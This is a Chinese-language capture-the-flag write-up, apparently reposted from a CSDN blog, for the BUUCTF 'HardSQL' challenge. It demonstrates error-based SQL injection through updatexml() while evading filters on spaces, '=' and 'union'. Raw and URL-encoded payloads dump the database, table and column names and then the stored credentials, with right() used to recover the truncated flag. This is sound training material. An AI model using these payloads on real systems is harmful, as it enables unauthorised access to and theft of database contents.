[极客大挑战 2019]HardSQL 1

[极客大挑战 2019]HardSQL
1
[目标]
Sql注入
[环境]
Buuctf
[工具]
浏览器
[分析]
1.尝试输入数字或字母,都显示以下结果
在这里插入图片描述

2.尝试万能密码
在这里插入图片描述

显示不同字样
3.输入查询列
在这里插入图片描述
在这里插入图片描述

两种方式都显示一样字样
在这里插入图片描述

双写也被过滤掉了,同时空格,=,union也被过滤了
4.我们尝试报错注入
报错注入有两个函数,这里我们使用updatexml(a,b,c),此函数a,c必须为String类型,因此可以使a,c不为String型进行报错
Payload:
username=1’or(updatexml(1,concat(0x7e,database(),0x7e),1))#&password=1
Url:
username=1%27or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1
在这里插入图片描述

显示数据库
接下来查找表
Payload:
username=1’or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),0x7e),1))#&password=1
Url:
username=1%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1
在这里插入图片描述

接下来查字段
Payload:
username=1’or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database()))),0x7e),1))#&password=1
Url:
username=1%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))%23&password=1
在这里插入图片描述

得到id,username,password继续查询值
Payload:
username=1’or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))#&password=1
Url:
username=1%27or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))%23&password=1
在这里插入图片描述

发现flag并没有完全显示
经过一番查询知道right()查询后面部分
Payload:
username=1’or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#&password=1
Url:
username=1%27or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=1
在这里插入图片描述

拼接得到flag
新知识:查不全时可用left(),right()

猜你喜欢

转载自blog.csdn.net/bring_coco/article/details/108747855